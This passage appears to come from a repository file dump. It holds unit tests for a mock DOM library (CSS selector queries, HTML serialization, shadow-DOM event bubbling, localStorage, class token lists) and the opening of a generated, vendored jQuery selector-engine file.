checkbox = doc.querySelector('input[checked=true][disabled]');\n    expect(checkbox.id).toBe('checkbox');\n  });\n\n  it('find input[checked=true]', () => {\n    const doc = new MockDocument(`\n      <input checked=\"true\" id=\"checkbox\">\n    `);\n\n    const checkbox = doc.querySelector('input[checked=true]');\n    expect(checkbox.id).toBe('checkbox');\n  });\n\n  it('find input[checked]', () => {\n    const doc = new MockDocument(`\n      <input checked id=\"checkbox\">\n    `);\n\n    const checkbox = doc.querySelector('input[checked]');\n    expect(checkbox.id).toBe('checkbox');\n  });\n\n  it('find all tag names', () => {\n    const doc = new MockDocument(`\n      <div>1</div>\n      <nav>2</nav>\n    `);\n\n    const elms = doc.querySelectorAll('a,div,nav');\n    expect(elms.length).toBe(2);\n  });\n\n  it('find first tag name', () => {\n    const doc = new MockDocument(`\n      <div>1</div>\n      <nav>2</nav>\n    `);\n\n    const div = doc.querySelector('a,div,nav');\n    expect(div.outerHTML).toBe('<div>1</div>');\n  });\n\n  it('find one tag name', () => {\n    const doc = new MockDocument(`\n      <div>1</div>\n      <nav>2</nav>\n    `);\n\n    const div = doc.querySelector('div');\n    expect(div.outerHTML).toBe('<div>1</div>');\n\n    const nav = doc.querySelector('nav');\n    expect(nav.outerHTML).toBe('<nav>2</nav>');\n  });\n\n  it('finds child', () => {\n    const doc = new MockDocument(`\n      <div>\n        <span></span>\n      </div>\n    `);\n\n    const span = doc.querySelector('div > span');\n    expect(span.outerHTML).toBe('<span></span>');\n  });\n\n  it('finds child if multiple children', () => {\n    const doc = new MockDocument(`\n      <div>\n        <a></a>\n        <span></span>\n      </div>\n    `);\n\n    const span = doc.querySelector('div > span');\n    expect(span.outerHTML).toBe('<span></span>');\n  });\n\n  it('finds child if multiple selectors', () => {\n    const doc = new MockDocument(`\n      <div>\n        <a></a>\n        <span>\n          <div></div>\n          <div class=\"inner\"></div>\n        </span>\n      </div>\n    `);\n\n    const span = doc.querySelector('div > span > .inner');\n    expect(span.outerHTML).toBe('<div class=\"inner\"></div>');\n  });\n\n  it('not find child if does not exist', () => {\n    const doc = new MockDocument(`\n      <div>\n        <a></a>\n        <span>\n          <div></div>\n          <div class=\"inner\"></div>\n        </span>\n      </div>\n    `);\n\n    const span = doc.querySelector('div > span > .none');\n    expect(span).toBeFalsy();\n  });\n\n  it(':not()', () => {\n    const doc = new MockDocument(`\n      <a nope>\n        <b><b>\n      </a>\n    `);\n    const q1 = doc.querySelector('a:not([nope]) b');\n    expect(q1).toBe(null);\n  });\n\n  it('descendent, two deep', () => {\n    const doc = new MockDocument();\n    const div = doc.createElement('div');\n    const span = doc.createElement('span');\n    span.classList.add('c');\n    const a = doc.createElement('a');\n    const b = doc.createElement('b');\n    div.appendChild(span);\n    span.appendChild(a);\n    a.appendChild(b);\n\n    const q1 = div.querySelector('span b');\n    expect(q1.tagName).toBe('B');\n\n    const q2 = div.querySelector('span.c b');\n    expect(q2.tagName).toBe('B');\n  });\n\n  it('descendent, one deep', () => {\n    const doc = new MockDocument();\n    const div = doc.createElement('div');\n    const span = doc.createElement('span');\n    span.classList.add('c');\n    const a = doc.createElement('a');\n    div.appendChild(span);\n    span.appendChild(a);\n\n    const q1 = div.querySelector('span a');\n    expect(q1.tagName).toBe('A');\n\n    const q2 = div.querySelector('span.c a');\n    expect(q2.tagName).toBe('A');\n  });\n\n  it.each(PROBLEMATIC_SELECTORS)(\"should error for '%p' selector\", (selector) => {\n    const doc = new MockDocument();\n\n    const expectedMessage = [\n      `At present jQuery does not support the ${selector} selector.`,\n      'If you need this in your test, consider writing an end-to-end test instead.',\n      `Syntax error, unrecognized expression: unsupported pseudo: ${selector.replace(':', '')}`,\n    ].join('\\n');\n\n    expect(() => doc.querySelector(selector)).toThrow(expectedMessage);\n    expect(() => doc.querySelectorAll(selector)).toThrow(expectedMessage);\n    expect(() => doc.matches(selector)).toThrow(expectedMessage);\n  });\n\n  it('should error for combinations of problematic selectors', () => {\n    const doc = new MockDocument();\n    expect(() => {\n      doc.querySelector(':scope :is');\n    }).toThrow(\n      [\n        `At present jQuery does not support the :scope and :is selectors.`,\n        'If you need this in your test, consider writing an end-to-end test instead.',\n        `Syntax error, unrecognized expression: unsupported pseudo: scope`,\n      ].join('\\n'),\n    );\n\n    expect(() => {\n      doc.querySelector(':is :where');\n    }).toThrow(\n      [\n        `At present jQuery does not support the :where and :is selectors.`,\n        'If you need this in your test, consider writing an end-to-end test instead.',\n        `Syntax error, unrecognized expression: unsupported pseudo: is`,\n      ].join('\\n'),\n    );\n\n    expect(() => {\n      doc.querySelector(':scope :is :where');\n    }).toThrow(\n      [\n        `At present jQuery does not support the :scope, :where and :is selectors.`,\n        'If you need this in your test, consider writing an end-to-end test instead.',\n        `Syntax error, unrecognized expression: unsupported pseudo: scope`,\n      ].join('\\n'),\n    );\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/serialize-node.spec.ts",
    "content": "import { MockDocument } from '../document';\nimport { EMPTY_ELEMENTS, serializeNodeToHtml } from '../serialize-node';\n\ndescribe('serializeNodeToHtml', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument();\n  });\n\n  it('remove most whitespace between elements, but not all of it when not in pretty print', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<div>\\n\\n\\n   <span></span>\\t\\t  \\n<b></b><code>  \\t<b>var</b>    <span>88 </span>  </code>  </div>`;\n\n    const html = serializeNodeToHtml(elm);\n    expect(html).toBe(`<div> <span></span> <b></b><code>  \\t<b>var</b>    <span>88 </span>  </code> </div>`);\n  });\n\n  it('remove most whitespace in text nodes, but not all of it when not in pretty print', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<div><span>var \\n \\t </span><b>\\n\\n\\n\\t     value\\n\\n\\n\\n\\n    \\t</b><span>    =</span><code>     88     </code>;</div>`;\n\n    const html = serializeNodeToHtml(elm);\n    expect(html).toBe(`<div><span>var </span><b> value </b><span> =</span><code>     88     </code>;</div>`);\n  });\n\n  it('do not add extra indentation when pretty print <pre><code>', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<section><article><pre><code><span>88</span></code></pre></article></section>`;\n\n    const html = serializeNodeToHtml(elm, { prettyHtml: true });\n    expect(html).toBe(`<section>\\n  <article><pre><code><span>88</span></code></pre>\\n  </article>\\n</section>`);\n  });\n\n  it('do not pretty print <pre><code>', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<pre><code><span>88</span></code></pre>`;\n\n    const html = serializeNodeToHtml(elm, { prettyHtml: true });\n    expect(html).toBe(`<pre><code><span>88</span></code></pre>`);\n  });\n\n  it('do not pretty print <pre><code> w/ highlights and new', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<pre><code><span>install</span> cordova-plugin-purchase\\nnpx cap update</code></pre>`;\n\n    const html = serializeNodeToHtml(elm, { prettyHtml: true });\n    expect(html).toBe(`<pre><code><span>install</span> cordova-plugin-purchase\\nnpx cap update</code></pre>`);\n  });\n\n  it('do not pretty print <pre><code> w/ html comments', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<pre><code><span><!--a-->88</span>c<!--b--></code></pre>`;\n\n    const html = serializeNodeToHtml(elm, { prettyHtml: true });\n    expect(html).toBe(`<pre><code><span><!--a-->88</span>c<!--b--></code></pre>`);\n  });\n\n  it('do not pretty print <script>', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<script>value = '';</script>`;\n\n    const html = serializeNodeToHtml(elm, { prettyHtml: true });\n    expect(html).toBe(`<script>value = '';</script>`);\n  });\n\n  it('do not remove whitespace within <code>', () => {\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `\n      <p>\n        <code>\n          <span>var</span>\n          <b>value</b>\n          <strong>=</strong>\n          <em>88</em><i>;</i>\n        </code>\n      </p>\n    `;\n\n    const html = serializeNodeToHtml(elm);\n    expect(html).toBe(`<p> <code>\n          <span>var</span>\n          <b>value</b>\n          <strong>=</strong>\n          <em>88</em><i>;</i>\n        </code> </p>`);\n  });\n\n  it('pretty print with comments', () => {\n    const elm = doc.createElement('div');\n    elm.innerHTML = `\n      <p>\n        <!--comment1-->\n        <!--comment2-->\n        <span>Hello</span>\n        <!--comment3-->\n        <!--comment4-->\n      </p>\n    `;\n\n    expect(elm).toEqualHtml(`\n      <div>\n        <p>\n          <!--comment1-->\n          <!--comment2-->\n          <span>Hello</span>\n          <!--comment3-->\n          <!--comment4-->\n        </p>\n      </div>\n    `);\n  });\n\n  it('shadow root to template', () => {\n    const elm = doc.createElement('cmp-a');\n    expect(elm.shadowRoot).toEqual(null);\n\n    const shadowRoot = elm.attachShadow({ mode: 'open' });\n    expect(shadowRoot.nodeType).toEqual(11);\n    expect(elm.shadowRoot.nodeType).toEqual(11);\n\n    expect(shadowRoot.host).toEqual(elm);\n\n    const shadowTop = doc.createElement('article');\n    shadowTop.innerHTML = 'shadow top';\n    shadowRoot.appendChild(shadowTop);\n\n    const slot = doc.createElement('slot');\n    shadowRoot.appendChild(slot);\n\n    const shadowBottom = doc.createElement('section');\n    shadowBottom.innerHTML = 'shadow bottom';\n    shadowRoot.appendChild(shadowBottom);\n\n    elm.innerHTML = '<div>light dom</div>';\n\n    expect(elm).toEqualHtml(`\n      <cmp-a>\n        <mock:shadow-root>\n          <article>shadow top</article>\n          <slot></slot>\n          <section>shadow bottom</section>\n        </mock:shadow-root>\n        <div>light dom</div>\n      </cmp-a>\n    `);\n  });\n\n  it('shadow root to template with focus delegation', () => {\n    const elm = doc.createElement('cmp-a');\n    expect(elm.shadowRoot).toEqual(null);\n\n    const shadowRoot = elm.attachShadow({ mode: 'open', delegatesFocus: true });\n    expect(shadowRoot.nodeType).toEqual(11);\n    expect(elm.shadowRoot.nodeType).toEqual(11);\n\n    expect(shadowRoot.host).toEqual(elm);\n    expect(elm.outerHTML).toContain('<template shadowrootmode=\"open\" shadowrootdelegatesfocus');\n  });\n\n  it('shadow root with focus delegation matches toEqualHtml', () => {\n    const elm = doc.createElement('my-tag');\n    elm.setAttribute('tabindex', '0');\n    const shadowRoot = elm.attachShadow({ mode: 'open', delegatesFocus: true });\n\n    const div = doc.createElement('div');\n    div.innerHTML = 'test content';\n    shadowRoot.appendChild(div);\n\n    // Test that the serialized output matches the expected format\n    // This ensures shadowrootdelegatesfocus appears without =\"\" when compared\n    expect(elm).toEqualHtml(`\n      <my-tag tabindex=\"0\">\n        <mock:shadow-root shadowrootdelegatesfocus>\n          <div>test content</div>\n        </mock:shadow-root>\n      </my-tag>\n    `);\n  });\n\n  it('style', () => {\n    const input = `<style>     \\n    text   \\n\\n</style>`;\n    doc.body.innerHTML = input;\n\n    const output = serializeNodeToHtml(doc.body);\n    expect(output).toBe(`<style>text</style>`);\n  });\n\n  it('template', () => {\n    const input = `<template>text</template>`;\n    doc.body.innerHTML = input;\n\n    const output = serializeNodeToHtml(doc.body);\n    expect(output).toBe(`<template>text</template>`);\n  });\n\n  it('svg', () => {\n    const input = `<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"></svg>`;\n    doc.body.innerHTML = input;\n\n    const output = serializeNodeToHtml(doc.body);\n    expect(input).toBe(output);\n  });\n\n  it('remove boolean attributes', () => {\n    const input = `<input type=\"checkbox\" checked=\"\">`;\n    doc.body.innerHTML = input;\n\n    const output = serializeNodeToHtml(doc.body, { removeBooleanAttributeQuotes: true });\n    expect(output).toBe(`<input type=\"checkbox\" checked>`);\n  });\n\n  it('do not collapse boolean attributes', () => {\n    const input = `<input type=\"checkbox\" checked=\"\">`;\n    doc.body.innerHTML = input;\n\n    const output = serializeNodeToHtml(doc.body);\n    expect(input).toBe(output);\n  });\n\n  it('do not remove empty attrs', () => {\n    const elm = doc.createElement('button');\n\n    elm.setAttribute('class', '');\n    elm.setAttribute('dir', '');\n    elm.setAttribute('my-attr', '');\n    elm.setAttribute('id', '');\n    elm.setAttribute('data-custom', '');\n    elm.setAttribute('lang', '');\n    elm.setAttribute('name', '');\n    elm.setAttribute('title', '');\n\n    const html = serializeNodeToHtml(elm, { outerHtml: true, removeEmptyAttributes: false });\n    expect(html).toBe(`<button class=\"\" dir=\"\" my-attr=\"\" id=\"\" data-custom=\"\" lang=\"\" name=\"\" title=\"\"></button>`);\n  });\n\n  it('remove empty attrs', () => {\n    const elm = doc.createElement('button');\n\n    elm.setAttribute('class', '');\n    elm.setAttribute('dir', '');\n    elm.setAttribute('my-attr', '');\n    elm.setAttribute('id', '');\n    elm.setAttribute('data-custom', '');\n    elm.setAttribute('lang', '');\n    elm.setAttribute('name', '');\n    elm.setAttribute('title', '');\n\n    const html = serializeNodeToHtml(elm, { outerHtml: true });\n    expect(html).toBe(`<button my-attr=\"\" data-custom></button>`);\n  });\n\n  it('set attributes, pretty', () => {\n    const elm = doc.createElement('button');\n    elm.setAttribute('type', 'submit');\n    elm.setAttribute('id', 'btn');\n    elm.textContent = `Text`;\n    const html = serializeNodeToHtml(elm, { outerHtml: true, prettyHtml: true });\n    expect(html).toBe(`<button id=\"btn\" type=\"submit\">\n  Text\n</button>`);\n  });\n\n  it('set attributes', () => {\n    const elm = doc.createElement('button');\n    elm.setAttribute('type', 'submit');\n    elm.setAttribute('id', 'btn');\n    elm.textContent = `Text`;\n    const html = serializeNodeToHtml(elm, { outerHtml: true });\n    expect(html).toBe(`<button type=\"submit\" id=\"btn\">Text</button>`);\n  });\n\n  it('do not escape scripts', () => {\n    const elm = doc.createElement('script');\n    elm.innerHTML = `if (true && false) { console.log('hi); }`;\n    const html = serializeNodeToHtml(elm, { outerHtml: true });\n    expect(html).toBe(`<script>if (true && false) { console.log('hi); }</script>`);\n  });\n\n  it('empty document', () => {\n    const html = serializeNodeToHtml(doc);\n    expect(html).toBe(`<!doctype html><html><head></head><body></body></html>`);\n  });\n\n  it('empty document, pretty', () => {\n    const html = serializeNodeToHtml(doc, { prettyHtml: true });\n    expect(html).toBe(`<!doctype html>\n<html>\n  <head></head>\n  <body></body>\n</html>`);\n  });\n\n  it('script innerHTML', () => {\n    const input = `x<y && a>b`;\n    const scriptElm = doc.createElement('script');\n    scriptElm.innerHTML = input;\n    expect(scriptElm.innerHTML).toBe(input);\n  });\n\n  it.each([...EMPTY_ELEMENTS])(\"does not add a closing tag for '%s'\", (voidElm) => {\n    if (voidElm === 'frame') {\n      // 'frame' is a non-HTML5 compatible/deprecated element.\n      // Stencil technically still supports it, but it doesn't get rendered as a child element, so let's just skip it\n      return;\n    }\n\n    const elm = doc.createElement('div');\n\n    elm.innerHTML = `<${voidElm}>`;\n\n    const html = serializeNodeToHtml(elm, { prettyHtml: true });\n    expect(html).toBe(`<${voidElm}>`);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/shadow-dom-event-bubbling.spec.ts",
    "content": "import { MockDocument } from '../document';\nimport { MockWindow } from '../window';\n\ndescribe('Shadow DOM event bubbling', () => {\n  let win: MockWindow;\n  let doc: MockDocument;\n\n  beforeEach(() => {\n    win = new MockWindow();\n    doc = win.document as unknown as MockDocument;\n  });\n\n  it('should allow events to bubble from shadow DOM children to shadow host when composed: true', () => {\n    const parentHost = doc.createElement('my-parent');\n    const parentShadow = parentHost.attachShadow({ mode: 'open' });\n\n    const childHost = doc.createElement('my-child');\n    childHost.attachShadow({ mode: 'open' });\n\n    doc.body.appendChild(parentHost);\n    parentShadow.appendChild(childHost);\n\n    let parentEventReceived = false;\n    let receivedEventType = '';\n    let receivedComposed = false;\n\n    parentHost.addEventListener('custom-event', (event: any) => {\n      parentEventReceived = true;\n      receivedEventType = event.type;\n      receivedComposed = event.composed;\n    });\n\n    const customEvent = new Event('custom-event', {\n      bubbles: true,\n      composed: true,\n    });\n\n    childHost.dispatchEvent(customEvent);\n\n    expect(parentEventReceived).toBe(true);\n    expect(receivedEventType).toBe('custom-event');\n    expect(receivedComposed).toBe(true);\n  });\n\n  it('should NOT allow events to bubble across shadow boundaries when composed: false', () => {\n    const parentHost = doc.createElement('my-parent');\n    const parentShadow = parentHost.attachShadow({ mode: 'open' });\n\n    const childHost = doc.createElement('my-child');\n\n    doc.body.appendChild(parentHost);\n    parentShadow.appendChild(childHost);\n\n    let parentEventReceived = false;\n\n    parentHost.addEventListener('custom-event', () => {\n      parentEventReceived = true;\n    });\n\n    const customEvent = new Event('custom-event', {\n      bubbles: true,\n      composed: false, // This should NOT cross shadow boundaries\n    });\n\n    childHost.dispatchEvent(customEvent);\n\n    expect(parentEventReceived).toBe(false);\n  });\n\n  it('should work with CustomEvent and detail property', () => {\n    const parentHost = doc.createElement('my-parent');\n    const parentShadow = parentHost.attachShadow({ mode: 'open' });\n\n    const childHost = doc.createElement('my-child');\n\n    doc.body.appendChild(parentHost);\n    parentShadow.appendChild(childHost);\n\n    let receivedDetail: any = null;\n\n    parentHost.addEventListener('custom-event', (event: any) => {\n      receivedDetail = event.detail;\n    });\n\n    const customEvent = new CustomEvent('custom-event', {\n      bubbles: true,\n      composed: true,\n      detail: { message: 'test data', value: 42 },\n    });\n\n    childHost.dispatchEvent(customEvent);\n\n    expect(receivedDetail).toEqual({ message: 'test data', value: 42 });\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/storage.spec.ts",
    "content": "import { MockWindow } from '../window';\n\ndescribe('storage', () => {\n  let win: MockWindow;\n  beforeEach(() => {\n    win = new MockWindow();\n  });\n\n  it('localStorage should return proper values', () => {\n    expect(win.localStorage.getItem('key')).toEqual(null);\n\n    win.localStorage.setItem('key', null);\n    expect(win.localStorage.getItem('key')).toEqual('null');\n\n    win.localStorage.setItem('key', undefined);\n    expect(win.localStorage.getItem('key')).toEqual('null');\n\n    win.localStorage.setItem('key', 12 as any);\n    expect(win.localStorage.getItem('key')).toEqual('12');\n\n    win.localStorage.setItem('key', 'value');\n    expect(win.localStorage.getItem('key')).toEqual('value');\n  });\n\n  it('should remove value', () => {\n    win.localStorage.setItem('key', 'value');\n    win.localStorage.removeItem('key');\n    expect(win.localStorage.getItem('key')).toEqual(null);\n  });\n\n  it('should not crash if removing twice', () => {\n    win.localStorage.setItem('key', 'value');\n    win.localStorage.removeItem('key');\n    win.localStorage.removeItem('key');\n    win.localStorage.removeItem('foo');\n    expect(win.localStorage.getItem('key')).toEqual(null);\n    expect(win.localStorage.getItem('foo')).toEqual(null);\n  });\n\n  it('should clear all', () => {\n    win.localStorage.setItem('key', 'value');\n    win.localStorage.setItem('foo', 'bar');\n    expect(win.localStorage.getItem('key')).toEqual('value');\n    expect(win.localStorage.getItem('foo')).toEqual('bar');\n\n    win.localStorage.clear();\n    expect(win.localStorage.getItem('key')).toEqual(null);\n    expect(win.localStorage.getItem('foo')).toEqual(null);\n  });\n\n  it('should cast keys to string all', () => {\n    win.localStorage.setItem('12', 'value');\n    win.localStorage.setItem(12 as any, 'bar');\n    expect(win.localStorage.getItem('12')).toEqual('bar');\n    expect(win.localStorage.getItem(12 as any)).toEqual('bar');\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/token-list.spec.ts",
    "content": "import { MockTokenList } from '../token-list';\nimport { MockDocument } from '../document';\nimport { MockElement } from '../node';\n\ndescribe('token-list', () => {\n  let tokenList: MockTokenList;\n  beforeEach(() => {\n    const doc = new MockDocument();\n    const el = new MockElement(doc, 'div');\n    tokenList = new MockTokenList(el as any, 'class');\n  });\n\n  it('add and remove tokens', () => {\n    tokenList.add('one');\n    tokenList.add('two', 'three');\n    tokenList.add(null);\n    tokenList.add(undefined);\n    tokenList.add(1 as any, 2 as any);\n    expect(tokenList.toString()).toEqual('one two three null undefined 1 2');\n\n    expect(tokenList.contains('one')).toBe(true);\n    expect(tokenList.contains('two')).toBe(true);\n    expect(tokenList.contains('three')).toBe(true);\n    expect(tokenList.contains('null')).toBe(true);\n    expect(tokenList.contains(null)).toBe(true);\n    expect(tokenList.contains('undefined')).toBe(true);\n    expect(tokenList.contains('1')).toBe(true);\n    expect(tokenList.contains(2 as any)).toBe(true);\n\n    tokenList.remove('one');\n    tokenList.remove('two', 'three');\n    tokenList.remove(null);\n    tokenList.remove(undefined);\n    tokenList.remove(1 as any, 2 as any);\n\n    expect(tokenList.toString()).toEqual('');\n  });\n\n  it('should throw if empty', () => {\n    expect(() => {\n      tokenList.add('');\n    }).toThrow();\n    expect(() => {\n      tokenList.remove('');\n    }).toThrow();\n  });\n\n  it('should throw if has spaces', () => {\n    expect(() => {\n      tokenList.add('');\n    }).toThrow();\n    expect(() => {\n      tokenList.remove(' ');\n    }).toThrow();\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/third-party/jquery.ts",
    "content": "/* eslint-disable */\n// @ts-nocheck\n\n/**\n * ATTENTION: DO NOT MODIFY THIS FILE\n *\n * This file is generated by \"scripts/updateSelectorEngine.ts\" and can be overwritten\n * at any time. Don't make changes in here as they will get lost!\n */\nexport default /*!\n * jQuery JavaScript Library v4.0.0-pre+9352011a7.dirty +selector\n * https://jquery.com/\n *\n * Copyright OpenJS Foundation and other contributors\n * Released under the MIT license\n * https://jquery.org/license\n *\n * Date: 2023-12-11T17:55Z\n */\n( function( global, factory ) {\n\n\t\"use strict\";\n\n\tif (true) {\n\n\t\t// For CommonJS and CommonJS-like environments where a proper `window`\n\t\t// is present, execute the factory and get jQuery.\n\t\treturn factory( global, true );\n\t} else {\n\t\tfactory( global );\n\t}\n\n// Pass this if window is not defined yet\n} )( {\n  document: {\n    createElement() {\n      return {};\n    },\n    nodeType: 9,\n    documentElement: {\n      nodeType: 1,\n      nodeName: 'HTML'\n    }\n  }\n}, function( window, noGlobal ) {\n\n\"use strict\";\n\nif ( !window.document ) {\n\tthrow new Error( \"jQuery requires a window with a document\" );\n}\n\nvar arr = [];\n\nvar getProto = Object.getPrototypeOf;\n\nvar slice = arr.slice;\n\n// Support: IE 11+\n// IE doesn't have Array#flat; provide a fallback.\nvar flat = arr.flat ? function( array ) {\n\treturn arr.flat.call( array );\n} : function( array ) {\n\treturn arr.concat.apply( [], array );\n};\n\nvar push = arr.push;\n\nvar indexOf = arr.indexOf;\n\n// [[Class]] -> type pairs\nvar class2type = {};\n\nvar toString = class2type.toString;\n\nvar hasOwn = class2type.hasOwnProperty;\n\nvar fnToString = hasOwn.toString;\n\nvar ObjectFunctionString = fnToString.call( Object );\n\n// All support tests are defined in their respective modules.\nvar support = {};\n\nfunction toType( obj ) {\n\tif ( obj == null ) {\n\t\treturn obj + \"\";\n\t}\n\n\treturn typeof obj === \"object\" ?\n\t\tclass2type[ toString.call( obj ) ] || \"object\" :\n\t\ttypeof obj;\n}\n\nfunction isWindow( obj ) {\n\treturn obj != null && obj === obj.window;\n}\n\nfunction isArrayLike( obj ) {\n\n\tvar length = !!obj && obj.length,\n\t\ttype = toType( obj );\n\n\tif ( typeof obj === \"function\" || isWindow( obj ) ) {\n\t\treturn false;\n\t}\n\n\treturn type === \"array\" || length === 0 ||\n\t\ttypeof length === \"number\" && length > 0 && ( length - 1 ) in obj;\n}\n\nvar document = window.document;\n\nvar preservedScriptAttributes = {\n\ttype: true,\n\tsrc: true,\n\tnonce: true,\n\tnoModule: true\n};\n\nfunction DOMEval( code, node, doc ) {\n\tdoc = doc || document;\n\n\tvar i,\n\t\tscript = doc.createElement( \"script\" );\n\n\tscript.text = code;\n\tif ( node ) {\n\t\tfor ( i in preservedScriptAttributes ) {\n\t\t\tif ( node[ i ] ) {\n\t\t\t\tscript[ i ] = node[ i ];\n\t\t\t}\n\t\t}\n\t}\n\tdoc.head.appendChild( script ).parentNode.removeChild( script );\n}\n\nconst jQuery = {} as { find: Function };\nvar version = \"4.0.0-pre+9352011a7.dirty +selector\",\n\n\trhtmlSuffix = /HTML$/i,\n\n\t// Define a local copy of jQuery\n\tjQueryOrig = function( selector, context ) {\n\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\t// Need init if jQuery is called (just allow error to be thrown if not included)\n\t\treturn new jQuery.fn.init( selector, context );\n\t};\n\njQuery.fn = jQuery.prototype = {\n\n\t// The current version of jQuery being used\n\tjquery: version,\n\n\tconstructor: jQuery,\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\ttoArray: function() {\n\t\treturn slice.call( this );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\n\t\t// Return all the elements in a clean array\n\t\tif ( num == null ) {\n\t\t\treturn slice.call( this );\n\t\t}\n\n\t\t// Return just the one element from the set\n\t\treturn num < 0 ? this[ num + this.length ] : this[ num ];\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems ) {\n\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery.merge( this.constructor(), elems );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\teach: function( callback ) {\n\t\treturn jQuery.each( this, callback );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map( this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t} ) );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ) );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\teven: function() {\n\t\treturn this.pushStack( jQuery.grep( this, function( _elem, i ) {\n\t\t\treturn ( i + 1 ) % 2;\n\t\t} ) );\n\t},\n\n\todd: function() {\n\t\treturn this.pushStack( jQuery.grep( this, function( _elem, i ) {\n\t\t\treturn i % 2;\n\t\t} ) );\n\t},\n\n\teq: function( i ) {\n\t\tvar len = this.length,\n\t\t\tj = +i + ( i < 0 ? len : 0 );\n\t\treturn this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor();\n\t}\n};\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar options, name, src, copy, copyIsArray, clone,\n\t\ttarget = arguments[ 0 ] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\n\t\t// Skip the boolean and the target\n\t\ttarget = arguments[ i ] || {};\n\t\ti++;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && typeof target !== \"function\" ) {\n\t\ttarget = {};\n\t}\n\n\t// Extend jQuery itself if only one argument is passed\n\tif ( i === length ) {\n\t\ttarget = this;\n\t\ti--;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\n\t\t// Only deal with non-null/undefined values\n\t\tif ( ( options = arguments[ i ] ) != null ) {\n\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent Object.prototype pollution\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( name === \"__proto__\" || target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject( copy ) ||\n\t\t\t\t\t( copyIsArray = Array.isArray( copy ) ) ) ) {\n\t\t\t\t\tsrc = target[ name ];\n\n\t\t\t\t\t// Ensure proper type for the source value\n\t\t\t\t\tif ( copyIsArray && !Array.isArray( src ) ) {\n\t\t\t\t\t\tclone = [];\n\t\t\t\t\t} else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) {\n\t\t\t\t\t\tclone = {};\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src;\n\t\t\t\t\t}\n\t\t\t\t\tcopyIsArray = false;\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend( {\n\n\t// Unique for each copy of jQuery on the page\n\texpando: \"jQuery\" + ( version + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// Assume jQuery is ready without the ready module\n\tisReady: true,\n\n\terror: function( msg ) {\n\t\tthrow new Error( msg );\n\t},\n\n\tnoop: function() {},\n\n\tisPlainObject: function( obj ) {\n\t\tvar proto, Ctor;\n\n\t\t// Detect obvious negatives\n\t\t// Use toString instead of jQuery.type to catch host objects\n\t\tif ( !obj || toString.call( obj ) !== \"[object Object]\" ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tproto = getProto( obj );\n\n\t\t// Objects with no prototype (e.g., `Object.create( null )`) are plain\n\t\tif ( !proto ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// Objects with prototype are plain iff they were constructed by a global Object function\n\t\tCtor = hasOwn.call( proto, \"constructor\" ) && proto.constructor;\n\t\treturn typeof Ctor === \"function\" && fnToString.call( Ctor ) === ObjectFunctionString;\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tvar name;\n\n\t\tfor ( name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\t// Evaluates a script in a provided context; falls back to the global one\n\t// if not specified.\n\tglobalEval: function( code, options, doc ) {\n\t\tDOMEval( code, { nonce: options && options.nonce }, doc );\n\t},\n\n\teach: function( obj, callback ) {\n\t\tvar length, i = 0;\n\n\t\tif ( isArrayLike( obj ) ) {\n\t\t\tlength = obj.length;\n\t\t\tfor ( ; i < length; 